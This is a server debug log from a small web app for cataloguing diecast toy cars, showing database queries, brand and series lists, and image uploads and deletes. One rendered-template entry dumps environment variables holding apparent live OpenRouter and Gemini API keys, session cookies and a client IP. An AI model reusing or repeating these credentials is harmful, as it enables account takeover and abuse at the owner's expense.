2026-02-04T10:48:29.819Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T10:48:29.820Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 }
]
2026-02-04T10:48:29.820Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini Coutach LP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:48:29.821Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-04T10:48:29.822Z server-connect:app Executing action step identify
2026-02-04T10:48:29.822Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:29.822Z server-connect:output identity: 1
2026-02-04T10:48:29.822Z server-connect:app Executing action step restrict
2026-02-04T10:48:29.822Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:48:29.822Z server-connect:output restrict: undefined
2026-02-04T10:48:29.822Z server-connect:app Executing action step select
2026-02-04T10:48:29.822Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T10:48:29.823Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-04T10:48:29.823Z server-connect:app Executing action step select
2026-02-04T10:48:29.823Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T10:48:29.823Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-04T10:48:29.823Z server-connect:app Executing action step select
2026-02-04T10:48:29.823Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T10:48:29.824Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-04T10:48:32.149Z server-connect:router Serving serverConnect /api/diecast/delete-image
2026-02-04T10:48:32.150Z server-connect:app Executing action step identify
2026-02-04T10:48:32.150Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:32.150Z server-connect:output identity: 1
2026-02-04T10:48:32.150Z server-connect:app Executing action step restrict
2026-02-04T10:48:32.150Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:48:32.150Z server-connect:output restrict: undefined
2026-02-04T10:48:32.150Z server-connect:app Executing action step single
2026-02-04T10:48:32.150Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object] ],
    params: [ [Object] ],
    table: { name: 'diecast_images' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `image_url` from `diecast_images` where `diecast_images`.`id` = ?'
  }
}
2026-02-04T10:48:32.151Z server-connect:output diecast_image: {
  image_url: '/public/assets/images/diecast/20251113_160532_dfe0a924-2f91-48fe-8b0a-85677c1f2681.jpg'
}
2026-02-04T10:48:32.151Z server-connect:app Executing action step delete
2026-02-04T10:48:32.151Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'diecast_images',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `diecast_images` where `id` = ? and `diecast_id` = ?',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T10:48:32.154Z server-connect:output delete: { affected: 1 }
2026-02-04T10:48:32.154Z server-connect:app Executing action step remove
2026-02-04T10:48:32.154Z server-connect:app options: { path: '{{diecast_image.image_url}}' }
2026-02-04T10:48:32.154Z server-connect:output fileRemove: true
2026-02-04T10:48:32.467Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:48:32.467Z server-connect:app Executing action step identify
2026-02-04T10:48:32.467Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:32.468Z server-connect:output identity: 1
2026-02-04T10:48:32.468Z server-connect:app Executing action step restrict
2026-02-04T10:48:32.468Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:48:32.468Z server-connect:output restrict: undefined
2026-02-04T10:48:32.468Z server-connect:app Executing action step paged
2026-02-04T10:48:32.468Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:48:32.469Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini Coutach LP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:48:32.781Z server-connect:router Serving templateView /
2026-02-04T10:48:32.782Z server-connect:app Executing action step identify
2026-02-04T10:48:32.782Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:32.782Z server-connect:output identity: 1
2026-02-04T10:48:32.782Z server-connect:app Executing action step restrict
2026-02-04T10:48:32.782Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:48:32.782Z server-connect:output restrict: undefined
2026-02-04T10:48:32.782Z server-connect:app Executing action step restrict
2026-02-04T10:48:32.782Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:48:32.782Z server-connect:output restrict: undefined
2026-02-04T10:48:32.782Z server-connect:router Render template layouts/main
2026-02-04T10:48:32.783Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=171&manufacturer=&condition=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=171&manufacturer=&condition=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T10:48:36.575Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T10:48:36.576Z server-connect:app Executing action step identify
2026-02-04T10:48:36.576Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:36.576Z server-connect:output identity: 1
2026-02-04T10:48:36.576Z server-connect:app Executing action step restrict
2026-02-04T10:48:36.576Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:48:36.576Z server-connect:output restrict: undefined
2026-02-04T10:48:36.576Z server-connect:app Executing action step condition
2026-02-04T10:48:36.576Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T10:48:36.576Z server-connect:app Executing action step update
2026-02-04T10:48:36.576Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T10:48:36.577Z server-connect:output update: { affected: 1 }
2026-02-04T10:48:36.577Z server-connect:app Executing action step upload
2026-02-04T10:48:36.577Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T10:48:36.577Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T10:48:36.577Z server-connect:upload Process fields: 'images[]'
2026-02-04T10:48:36.577Z server-connect:upload Processing file: {
  name: 's-l1600 (14).webp',
  data: <Buffer >,
  size: 105786,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-53-20378841770202116575',
  truncated: false,
  mimetype: 'image/webp',
  md5: 'f58a1bbeb6da3825a561bbe77413588a',
  mv: [Function: mv]
}
2026-02-04T10:48:36.580Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_14_9bcca692-60a1-4f81-a11f-df93a9e2c624.webp',
  rel: 'public/assets/images/diecast/s-l1600_14_9bcca692-60a1-4f81-a11f-df93a9e2c624.webp'
}
2026-02-04T10:48:36.580Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_14_9bcca692-60a1-4f81-a11f-df93a9e2c624.webp',
  rel: 'assets/images/diecast/s-l1600_14_9bcca692-60a1-4f81-a11f-df93a9e2c624.webp'
}
2026-02-04T10:48:36.580Z server-connect:output upload_image: [
  {
    name: 's-l1600_14_9bcca692-60a1-4f81-a11f-df93a9e2c624.webp',
    path: '/public/assets/images/diecast/s-l1600_14_9bcca692-60a1-4f81-a11f-df93a9e2c624.webp',
    url: '/assets/images/diecast/s-l1600_14_9bcca692-60a1-4f81-a11f-df93a9e2c624.webp',
    type: 'image/webp',
    size: 105786
  }
]
2026-02-04T10:48:36.580Z server-connect:app Executing action step repeat
2026-02-04T10:48:36.580Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T10:48:36.580Z server-connect:app Executing action step insert
2026-02-04T10:48:36.580Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T10:48:36.580Z server-connect:output images: { affected: 1, identity: 204 }
2026-02-04T10:48:36.580Z server-connect:output repeat_images: [ {} ]
2026-02-04T10:48:36.580Z server-connect:output condition: undefined
2026-02-04T10:48:36.894Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:48:36.894Z server-connect:app Executing action step identify
2026-02-04T10:48:36.894Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:36.894Z server-connect:output identity: 1
2026-02-04T10:48:36.894Z server-connect:app Executing action step restrict
2026-02-04T10:48:36.894Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:48:36.895Z server-connect:output restrict: undefined
2026-02-04T10:48:36.895Z server-connect:app Executing action step paged
2026-02-04T10:48:36.895Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
